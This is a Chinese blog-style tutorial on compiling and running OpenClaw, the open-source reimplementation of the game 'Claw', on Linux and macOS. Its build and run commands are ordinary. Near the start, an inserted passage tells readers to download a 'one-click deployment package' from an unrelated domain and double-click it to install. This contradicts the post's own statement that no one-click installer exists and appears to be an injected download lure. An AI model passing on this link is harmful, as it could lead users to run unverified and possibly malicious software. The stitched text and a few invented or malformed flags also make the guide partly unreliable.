作为一个从小学就在网吧偷偷玩《Claw》的骨灰级玩家我对那只叼着雪茄的猫船长有着特殊的感情。前阵子突然想重温旧梦却发现现在的系统根本跑不动当年的老游戏还好发现了 OpenClaw 这个开源引擎——它用现代代码重新实现了原版游戏逻辑画质还能拉高几倍。不过它的安装方式有点“硬核”全程靠命令行没有一键安装包。今天我就把踩坑过程整理出来让你也能在终端里轻松搞定它。第一步OpenClaw最新版本一键部署包下载地址https://top.wokk.cn/第二步双击一键3分钟安装OpenClaw中文版准备工作先给系统装上“建筑材料”OpenClaw 依赖不少开发库好在主流 Linux 发行版包括 macOS 的 Homebrew都能直接装。我个人用的是 Ubuntu 22.04如果你用其他发行版把包管理器换成对应的就行。打开终端先更新一下然后开始安装编译工具和图形库友情提示如果你在 macOS 上装记得先装 Xcode Command Line Tools不然 cmake 会报找不到编译器。编译基础build-essential、cmake、gitSDL2 相关libsdl2-dev、libsdl2-image-dev、libsdl2-mixer-dev其他工具libpng-dev、libjpeg-dev、zlib1g-dev一条命令就能搞定sudo apt update sudo apt install build-essential cmake git libsdl2-dev libsdl2-image-dev libsdl2-mixer-dev libpng-dev libjpeg-dev zlib1g-dev装完后用cmake --version验证一下如果终端返回了版本号就算过关了。这一步我当初卡了半小时因为少装了 libsdl2-mixer-dev编译到一半报找不到 SDL_mixer.h非常恼人。克隆源码 编译一行命令搞定现在开始下载 OpenClaw 的官方仓库。我建议直接克隆到你的 home 目录方便管理git clone https://github.com/pjasicek/OpenClaw.git cd OpenClaw仓库里已经包含了一个CMakeLists.txt所以不需要自己写。接下来建立一个 build 目录把编译产物放进去保持源码目录干净mkdir build cd build cmake .. make -j$(nproc)这里的-j$(nproc)是并行编译能利用你所有的 CPU 核心速度飞快。我这台 i5-8250U 的笔记本大概 30 秒就编译完了。如果过程中报错绝大多数都是缺少某个 dev 包比如libpng-dev没装就补装然后重新cmake ..再make即可。小技巧如果 cmake 找不到 SDL2可以指定路径cmake .. -DSDL2_DIR/usr/lib/x86_64-linux-gnu/cmake/SDL2不过一般默认路径就能自动找到。运行游戏与常见问题终于能玩猫船长编译成功之后在 build 目录下会生成一个可执行文件openclaw。但这时候还玩不了因为 OpenClaw 引擎本身不包含游戏资源文件。你需要把原版《Claw》的游戏数据通常是CLAW.DAT和CLAW.SFX等文件放到指定位置。官方建议的做法是创建一个data目录然后把资源拷进去mkdir -p ~/OpenClaw/data cp /path/to/your/CLAW.DAT ~/OpenClaw/data/ cp /path/to/your/CLAW.SFX ~/OpenClaw/data/ # 如果你的版本还有 CLAW.MAP、CLAW.PAL 等一并拷过来然后在 build 目录里运行./openclaw --data ~/OpenClaw/data如果一切顺利游戏窗口就会弹出来。第一次运行可能感觉画面太小可以用--fullscreen或--scale 2来放大。比如./openclaw --data ~/OpenClaw/data --scale 3 --fullscreen说说我遇到的坑吧——最常出现的是“无法加载资源”错误这通常是因为资源文件是从某些模糊版本拷来的文件名大小写不匹配。原版光盘里是全部大写的CLAW.DAT但有些汉化版转换成了小写。解决办法很简单把文件名改成全大写或者在运行命令后加上--no-case-detect官方没这个选项所以老老实实改名最稳妥。另外如果你在 macOS 上用编译出来的openclaw可能无法直接双击运行因为缺少文件扩展名。可以在终端里用./openclaw启动或者把它拖到 iTerm 里运行。我曾经因为编译时忘了加-framework Cocoa导致窗口黑屏后来发现只要用 Homebrew 装的 SDL2 版本没问题就能自动适配。最后一个小建议把 alias 写进.bashrc或.zshrc里以后想玩直接输claw就搞定alias claw~/OpenClaw/build/openclaw --data ~/OpenClaw/data --scale 2这样每次打开终端输个claw熟悉的黑猫船长就又回来了。如果你也想保存进度记得在游戏里按 F5 存档存档文件会生成在~/.local/share/openclaw/下非常方便。